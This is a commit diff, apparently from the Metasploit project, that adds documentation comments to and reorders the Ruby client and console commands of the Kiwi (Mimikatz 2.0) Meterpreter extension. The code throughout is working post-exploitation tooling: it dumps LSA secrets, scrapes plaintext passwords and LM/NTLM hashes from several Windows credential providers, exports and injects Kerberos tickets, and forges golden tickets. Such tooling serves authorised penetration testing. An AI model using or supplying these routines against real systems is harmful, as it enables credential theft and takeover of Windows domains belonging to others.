Add comments to the kiwi source
parent
3635fff98e
commit
0dcf992781
|
@ -21,6 +21,10 @@ module Kiwi
|
||||||
|
|
||||||
class Kiwi < Extension
|
class Kiwi < Extension
|
||||||
|
|
||||||
|
#
|
||||||
|
# These are constants that identify the type of credential to dump
|
||||||
|
# from the target machine.
|
||||||
|
#
|
||||||
PWD_ID_SEK_ALLPASS = 0
|
PWD_ID_SEK_ALLPASS = 0
|
||||||
PWD_ID_SEK_WDIGEST = 1
|
PWD_ID_SEK_WDIGEST = 1
|
||||||
PWD_ID_SEK_MSV = 2
|
PWD_ID_SEK_MSV = 2
|
||||||
|
@ -31,6 +35,33 @@ class Kiwi < Extension
|
||||||
PWD_ID_SEK_TICKETS = 7
|
PWD_ID_SEK_TICKETS = 7
|
||||||
PWD_ID_SEK_DPAPI = 8
|
PWD_ID_SEK_DPAPI = 8
|
||||||
|
|
||||||
|
#
|
||||||
|
# List of names which represent the flags that are part of the
|
||||||
|
# dumped kerberos tickets. The order of these is important. Each
|
||||||
|
# of them was pulled from the Mimikatz 2.0 source base.
|
||||||
|
#
|
||||||
|
@@kerberos_flags = [
|
||||||
|
"NAME CANONICALIZE",
|
||||||
|
"<unknown>",
|
||||||
|
"OK AS DELEGATE",
|
||||||
|
"<unknown>",
|
||||||
|
"HW AUTHENT",
|
||||||
|
"PRE AUTHENT",
|
||||||
|
"INITIAL",
|
||||||
|
"RENEWABLE",
|
||||||
|
"INVALID",
|
||||||
|
"POSTDATED",
|
||||||
|
"MAY POSTDATE",
|
||||||
|
"PROXY",
|
||||||
|
"PROXIABLE",
|
||||||
|
"FORWARDED",
|
||||||
|
"FORWARDABLE",
|
||||||
|
"RESERVED"
|
||||||
|
]
|
||||||
|
|
||||||
|
#
|
||||||
|
# Typical extension initialization routine.
|
||||||
|
#
|
||||||
def initialize(client)
|
def initialize(client)
|
||||||
super(client, 'kiwi')
|
super(client, 'kiwi')
|
||||||
|
|
||||||
|
@ -43,6 +74,11 @@ class Kiwi < Extension
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Dump the LSA secrets from the target machine.
|
||||||
|
#
|
||||||
|
# Returns [Array[Hash]]
|
||||||
|
#
|
||||||
def lsa_dump
|
def lsa_dump
|
||||||
request = Packet.create_request('kiwi_lsa_dump_secrets')
|
request = Packet.create_request('kiwi_lsa_dump_secrets')
|
||||||
|
|
||||||
|
@ -93,25 +129,14 @@ class Kiwi < Extension
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
@@kerberos_flags = [
|
#
|
||||||
"NAME CANONICALIZE",
|
# Convert a flag set to a list of string representations for the bit flags
|
||||||
"<unknown>",
|
# that are set.
|
||||||
"OK AS DELEGATE",
|
#
|
||||||
"<unknown>",
|
# +flags+ [Integer] - Integer bitmask of Kerberos token flags.
|
||||||
"HW AUTHENT",
|
#
|
||||||
"PRE AUTHENT",
|
# Returns [String]
|
||||||
"INITIAL",
|
#
|
||||||
"RENEWABLE",
|
|
||||||
"INVALID",
|
|
||||||
"POSTDATED",
|
|
||||||
"MAY POSTDATE",
|
|
||||||
"PROXY",
|
|
||||||
"PROXIABLE",
|
|
||||||
"FORWARDED",
|
|
||||||
"FORWARDABLE",
|
|
||||||
"RESERVED"
|
|
||||||
]
|
|
||||||
|
|
||||||
def to_kerberos_flag_list(flags)
|
def to_kerberos_flag_list(flags)
|
||||||
flags = flags >> 16
|
flags = flags >> 16
|
||||||
results = []
|
results = []
|
||||||
|
@ -127,6 +152,13 @@ class Kiwi < Extension
|
||||||
return results
|
return results
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# List available kerberos tickets.
|
||||||
|
#
|
||||||
|
# +export+ [Bool] - Set to +true+ to export the content of each ticket
|
||||||
|
#
|
||||||
|
# Returns [Array[Hash]]
|
||||||
|
#
|
||||||
def kerberos_ticket_list(export)
|
def kerberos_ticket_list(export)
|
||||||
export ||= false
|
export ||= false
|
||||||
request = Packet.create_request('kiwi_kerberos_ticket_list')
|
request = Packet.create_request('kiwi_kerberos_ticket_list')
|
||||||
|
@ -153,17 +185,41 @@ class Kiwi < Extension
|
||||||
return results
|
return results
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Use the given ticket in the current session.
|
||||||
|
#
|
||||||
|
# +ticket+ [Array[Byte]] - Content of the Kerberos ticket to use.
|
||||||
|
#
|
||||||
|
# Returns [Bool]
|
||||||
|
#
|
||||||
def kerberos_ticket_use(ticket)
|
def kerberos_ticket_use(ticket)
|
||||||
request = Packet.create_request('kiwi_kerberos_ticket_use')
|
request = Packet.create_request('kiwi_kerberos_ticket_use')
|
||||||
request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true)
|
request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true)
|
||||||
client.send_request(request)
|
client.send_request(request)
|
||||||
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Purge any Kerberos tickets that have been added to the current session.
|
||||||
|
#
|
||||||
|
# Returns [Bool]
|
||||||
|
#
|
||||||
def kerberos_ticket_purge
|
def kerberos_ticket_purge
|
||||||
request = Packet.create_request('kiwi_kerberos_ticket_purge')
|
request = Packet.create_request('kiwi_kerberos_ticket_purge')
|
||||||
client.send_request(request)
|
client.send_request(request)
|
||||||
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Create a new golden kerberos ticket on the target machine and return it.
|
||||||
|
#
|
||||||
|
# +user+ [String] - Name of the user to create the ticket for.
|
||||||
|
# +domain+ [String] - Domain name.
|
||||||
|
# +sid+ [String] - SID of the domain.
|
||||||
|
# +tgt+ [String] - The kerberos ticket granting token.
|
||||||
|
#
|
||||||
|
# Returns [Array[Byte]]
|
||||||
|
#
|
||||||
def golden_ticket_create(user, domain, sid, tgt)
|
def golden_ticket_create(user, domain, sid, tgt)
|
||||||
request = Packet.create_request('kiwi_kerberos_golden_ticket_create')
|
request = Packet.create_request('kiwi_kerberos_golden_ticket_create')
|
||||||
request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user)
|
request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user)
|
||||||
|
@ -176,6 +232,13 @@ class Kiwi < Extension
|
||||||
return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
|
return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Scrape passwords from the target machine.
|
||||||
|
#
|
||||||
|
# +pwd_id+ - ID of the type credential to scrape.
|
||||||
|
#
|
||||||
|
# Returns [Array[Hash]]
|
||||||
|
#
|
||||||
def scrape_passwords(pwd_id)
|
def scrape_passwords(pwd_id)
|
||||||
request = Packet.create_request('kiwi_scrape_passwords')
|
request = Packet.create_request('kiwi_scrape_passwords')
|
||||||
request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id)
|
request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id)
|
||||||
|
@ -197,36 +260,79 @@ class Kiwi < Extension
|
||||||
return results
|
return results
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Scrape all passwords from the target machine.
|
||||||
|
#
|
||||||
|
# Returns [Array[Hash]]
|
||||||
|
#
|
||||||
def all_pass
|
def all_pass
|
||||||
return scrape_passwords(PWD_ID_SEK_ALLPASS)
|
return scrape_passwords(PWD_ID_SEK_ALLPASS)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Scrape wdigest credentials from the target machine.
|
||||||
|
#
|
||||||
|
# Returns [Array[Hash]]
|
||||||
|
#
|
||||||
def wdigest
|
def wdigest
|
||||||
return scrape_passwords(PWD_ID_SEK_WDIGEST)
|
return scrape_passwords(PWD_ID_SEK_WDIGEST)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Scrape msv credentials from the target machine.
|
||||||
|
#
|
||||||
|
# Returns [Array[Hash]]
|
||||||
|
#
|
||||||
def msv
|
def msv
|
||||||
return scrape_passwords(PWD_ID_SEK_MSV)
|
return scrape_passwords(PWD_ID_SEK_MSV)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Scrape LiveSSP credentials from the target machine.
|
||||||
|
#
|
||||||
|
# Returns [Array[Hash]]
|
||||||
|
#
|
||||||
def livessp
|
def livessp
|
||||||
return scrape_passwords(PWD_ID_SEK_LIVESSP)
|
return scrape_passwords(PWD_ID_SEK_LIVESSP)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Scrape SSP credentials from the target machine.
|
||||||
|
#
|
||||||
|
# Returns [Array[Hash]]
|
||||||
|
#
|
||||||
def ssp
|
def ssp
|
||||||
return scrape_passwords(PWD_ID_SEK_SSP)
|
return scrape_passwords(PWD_ID_SEK_SSP)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Scrape TSPKG credentials from the target machine.
|
||||||
|
#
|
||||||
|
# Returns [Array[Hash]]
|
||||||
|
#
|
||||||
def tspkg
|
def tspkg
|
||||||
return scrape_passwords(PWD_ID_SEK_TSPKG)
|
return scrape_passwords(PWD_ID_SEK_TSPKG)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Scrape Kerberos credentials from the target machine.
|
||||||
|
#
|
||||||
|
# Returns [Array[Hash]]
|
||||||
|
#
|
||||||
def kerberos
|
def kerberos
|
||||||
return scrape_passwords(PWD_ID_SEK_KERBEROS)
|
return scrape_passwords(PWD_ID_SEK_KERBEROS)
|
||||||
end
|
end
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
|
#
|
||||||
|
# Convert an array of bytes to a string-based hex dump in the format
|
||||||
|
# AA BB CC DD EE FF
|
||||||
|
#
|
||||||
|
# +bytes+ [Array[Byte]] - Array of bytes to convert.
|
||||||
|
#
|
||||||
|
# Returns [String].
|
||||||
|
#
|
||||||
def to_hex_dump(bytes)
|
def to_hex_dump(bytes)
|
||||||
return nil unless bytes
|
return nil unless bytes
|
||||||
|
|
||||||
|
@ -235,11 +341,26 @@ protected
|
||||||
}.join(' ')
|
}.join(' ')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Convert an array of bytes to a hex string without spaces
|
||||||
|
# AABBCCDDEEFF
|
||||||
|
#
|
||||||
|
# +bytes+ [Array[Byte]] - Array of bytes to convert.
|
||||||
|
#
|
||||||
|
# Returns [String].
|
||||||
|
#
|
||||||
def to_hex_string(bytes)
|
def to_hex_string(bytes)
|
||||||
return nil unless bytes
|
return nil unless bytes
|
||||||
bytes.unpack('H*')[0]
|
bytes.unpack('H*')[0]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Convert an array of bytes to a GUID string
|
||||||
|
#
|
||||||
|
# +bytes+ Array of bytes to convert.
|
||||||
|
#
|
||||||
|
# Returns [String].
|
||||||
|
#
|
||||||
def to_guid(bytes)
|
def to_guid(bytes)
|
||||||
return nil unless bytes
|
return nil unless bytes
|
||||||
s = bytes.unpack('H*')[0]
|
s = bytes.unpack('H*')[0]
|
||||||
|
|
|
@ -14,6 +14,7 @@ module Ui
|
||||||
# http://blog.gentilkiwi.com/mimikatz
|
# http://blog.gentilkiwi.com/mimikatz
|
||||||
#
|
#
|
||||||
# extension converted by OJ Reeves (TheColonial)
|
# extension converted by OJ Reeves (TheColonial)
|
||||||
|
#
|
||||||
###
|
###
|
||||||
class Console::CommandDispatcher::Kiwi
|
class Console::CommandDispatcher::Kiwi
|
||||||
|
|
||||||
|
@ -22,7 +23,16 @@ class Console::CommandDispatcher::Kiwi
|
||||||
include Console::CommandDispatcher
|
include Console::CommandDispatcher
|
||||||
|
|
||||||
#
|
#
|
||||||
# Initializes an instance of the priv command interaction.
|
# Name for this dispatcher
|
||||||
|
#
|
||||||
|
def name
|
||||||
|
"Kiwi"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Initializes an instance of the priv command interaction. This function
|
||||||
|
# also outputs a banner which gives proper acknowledgement to the original
|
||||||
|
# author of the Mimikatz 2.0 software.
|
||||||
#
|
#
|
||||||
def initialize(shell)
|
def initialize(shell)
|
||||||
super
|
super
|
||||||
|
@ -63,36 +73,9 @@ class Console::CommandDispatcher::Kiwi
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
def scrape_passwords(provider, method)
|
#
|
||||||
get_privs
|
# Invoke the LSA secret dump on thet target.
|
||||||
print_status("Retrieving #{provider} credentials")
|
#
|
||||||
accounts = method.call
|
|
||||||
|
|
||||||
table = Rex::Ui::Text::Table.new(
|
|
||||||
'Header' => "#{provider} credentials",
|
|
||||||
'Indent' => 0,
|
|
||||||
'SortIndex' => 4,
|
|
||||||
'Columns' =>
|
|
||||||
[
|
|
||||||
'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
|
|
||||||
]
|
|
||||||
)
|
|
||||||
|
|
||||||
accounts.each do |acc|
|
|
||||||
table << [
|
|
||||||
acc[:domain],
|
|
||||||
acc[:username],
|
|
||||||
acc[:password],
|
|
||||||
"#{acc[:auth_hi]} ; #{acc[:auth_lo]}",
|
|
||||||
acc[:lm],
|
|
||||||
acc[:ntlm]
|
|
||||||
]
|
|
||||||
end
|
|
||||||
|
|
||||||
print_line table.to_s
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_lsa_dump(*args)
|
def cmd_lsa_dump(*args)
|
||||||
get_privs
|
get_privs
|
||||||
|
|
||||||
|
@ -148,6 +131,9 @@ class Console::CommandDispatcher::Kiwi
|
||||||
print_line
|
print_line
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Invoke the golden kerberos ticket creation functionality on the target.
|
||||||
|
#
|
||||||
def cmd_golden_ticket_create(*args)
|
def cmd_golden_ticket_create(*args)
|
||||||
if args.length != 5
|
if args.length != 5
|
||||||
print_line("Usage: golden_ticket_create user domain sid tgt ticketpath")
|
print_line("Usage: golden_ticket_create user domain sid tgt ticketpath")
|
||||||
|
@ -166,12 +152,18 @@ class Console::CommandDispatcher::Kiwi
|
||||||
print_good("Golden Kerberos ticket written to #{target}")
|
print_good("Golden Kerberos ticket written to #{target}")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Valid options for the ticket listing functionality.
|
||||||
|
#
|
||||||
@@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
|
@@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
|
||||||
"-h" => [ false, "Help banner" ],
|
"-h" => [ false, "Help banner" ],
|
||||||
"-e" => [ false, "Export Kerberos tickets to disk" ],
|
"-e" => [ false, "Export Kerberos tickets to disk" ],
|
||||||
"-p" => [ true, "Path to export Kerberos tickets to" ]
|
"-p" => [ true, "Path to export Kerberos tickets to" ]
|
||||||
)
|
)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Output the usage for the ticket listing functionality.
|
||||||
|
#
|
||||||
def kerberos_ticket_list_usage
|
def kerberos_ticket_list_usage
|
||||||
print(
|
print(
|
||||||
"\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" +
|
"\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" +
|
||||||
|
@ -179,6 +171,9 @@ class Console::CommandDispatcher::Kiwi
|
||||||
@@kerberos_ticket_list_opts.usage)
|
@@kerberos_ticket_list_opts.usage)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Invoke the kerberos ticket listing functionality on the target machine.
|
||||||
|
#
|
||||||
def cmd_kerberos_ticket_list(*args)
|
def cmd_kerberos_ticket_list(*args)
|
||||||
if args.include?("-h")
|
if args.include?("-h")
|
||||||
kerberos_ticket_list_usage
|
kerberos_ticket_list_usage
|
||||||
|
@ -243,11 +238,17 @@ class Console::CommandDispatcher::Kiwi
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Invoke the kerberos ticket purging functionality on the target machine.
|
||||||
|
#
|
||||||
def cmd_kerberos_ticket_purge(*args)
|
def cmd_kerberos_ticket_purge(*args)
|
||||||
client.kiwi.keberos_ticket_purge
|
client.kiwi.keberos_ticket_purge
|
||||||
print_good("Kerberos tickets purged")
|
print_good("Kerberos tickets purged")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Use a locally stored Kerberos ticket in the current session.
|
||||||
|
#
|
||||||
def cmd_kerberos_ticket_use(*args)
|
def cmd_kerberos_ticket_use(*args)
|
||||||
if args.length != 1
|
if args.length != 1
|
||||||
print_line("Usage: kerberos_ticket_use ticketpath")
|
print_line("Usage: kerberos_ticket_use ticketpath")
|
||||||
|
@ -264,41 +265,64 @@ class Console::CommandDispatcher::Kiwi
|
||||||
print_good("Kerberos ticket applied successfully")
|
print_good("Kerberos ticket applied successfully")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Dump all the possible credentials to screen.
|
||||||
|
#
|
||||||
def cmd_creds_all(*args)
|
def cmd_creds_all(*args)
|
||||||
method = Proc.new { client.kiwi.all_pass }
|
method = Proc.new { client.kiwi.all_pass }
|
||||||
scrape_passwords("all", method)
|
scrape_passwords("all", method)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Dump all wdigest credentials to screen.
|
||||||
|
#
|
||||||
def cmd_creds_wdigest(*args)
|
def cmd_creds_wdigest(*args)
|
||||||
method = Proc.new { client.kiwi.wdigest }
|
method = Proc.new { client.kiwi.wdigest }
|
||||||
scrape_passwords("wdigest", method)
|
scrape_passwords("wdigest", method)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Dump all msv credentials to screen.
|
||||||
|
#
|
||||||
def cmd_creds_msv(*args)
|
def cmd_creds_msv(*args)
|
||||||
method = Proc.new { client.kiwi.msv }
|
method = Proc.new { client.kiwi.msv }
|
||||||
scrape_passwords("msv", method)
|
scrape_passwords("msv", method)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Dump all LiveSSP credentials to screen.
|
||||||
|
#
|
||||||
def cmd_creds_livessp(*args)
|
def cmd_creds_livessp(*args)
|
||||||
method = Proc.new { client.kiwi.livessp }
|
method = Proc.new { client.kiwi.livessp }
|
||||||
scrape_passwords("livessp", method)
|
scrape_passwords("livessp", method)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Dump all SSP credentials to screen.
|
||||||
|
#
|
||||||
def cmd_creds_ssp(*args)
|
def cmd_creds_ssp(*args)
|
||||||
method = Proc.new { client.kiwi.ssp }
|
method = Proc.new { client.kiwi.ssp }
|
||||||
scrape_passwords("ssp", method)
|
scrape_passwords("ssp", method)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Dump all TSPKG credentials to screen.
|
||||||
|
#
|
||||||
def cmd_creds_tspkg(*args)
|
def cmd_creds_tspkg(*args)
|
||||||
method = Proc.new { client.kiwi.tspkg }
|
method = Proc.new { client.kiwi.tspkg }
|
||||||
scrape_passwords("tspkg", method)
|
scrape_passwords("tspkg", method)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Dump all Kerberos credentials to screen.
|
||||||
|
#
|
||||||
def cmd_creds_kerberos(*args)
|
def cmd_creds_kerberos(*args)
|
||||||
method = Proc.new { client.kiwi.kerberos }
|
method = Proc.new { client.kiwi.kerberos }
|
||||||
scrape_passwords("kerberos", method)
|
scrape_passwords("kerberos", method)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
def get_privs
|
def get_privs
|
||||||
unless system_check
|
unless system_check
|
||||||
print_status("Attempting to getprivs")
|
print_status("Attempting to getprivs")
|
||||||
|
@ -323,11 +347,43 @@ class Console::CommandDispatcher::Kiwi
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Name for this dispatcher
|
# Infoke the password scraping routine on the target.
|
||||||
#
|
#
|
||||||
def name
|
# +provider+ [String] - The name of the type of credentials to dump (used for
|
||||||
"Kiwi"
|
# display purposes only).
|
||||||
|
# +method+ [Block] - Block that contains a call to the method that invokes the
|
||||||
|
# appropriate function on the client that returns the results from Meterpreter.
|
||||||
|
#
|
||||||
|
def scrape_passwords(provider, method)
|
||||||
|
get_privs
|
||||||
|
print_status("Retrieving #{provider} credentials")
|
||||||
|
accounts = method.call
|
||||||
|
|
||||||
|
table = Rex::Ui::Text::Table.new(
|
||||||
|
'Header' => "#{provider} credentials",
|
||||||
|
'Indent' => 0,
|
||||||
|
'SortIndex' => 4,
|
||||||
|
'Columns' =>
|
||||||
|
[
|
||||||
|
'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
accounts.each do |acc|
|
||||||
|
table << [
|
||||||
|
acc[:domain],
|
||||||
|
acc[:username],
|
||||||
|
acc[:password],
|
||||||
|
"#{acc[:auth_hi]} ; #{acc[:auth_lo]}",
|
||||||
|
acc[:lm],
|
||||||
|
acc[:ntlm]
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
print_line table.to_s
|
||||||
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue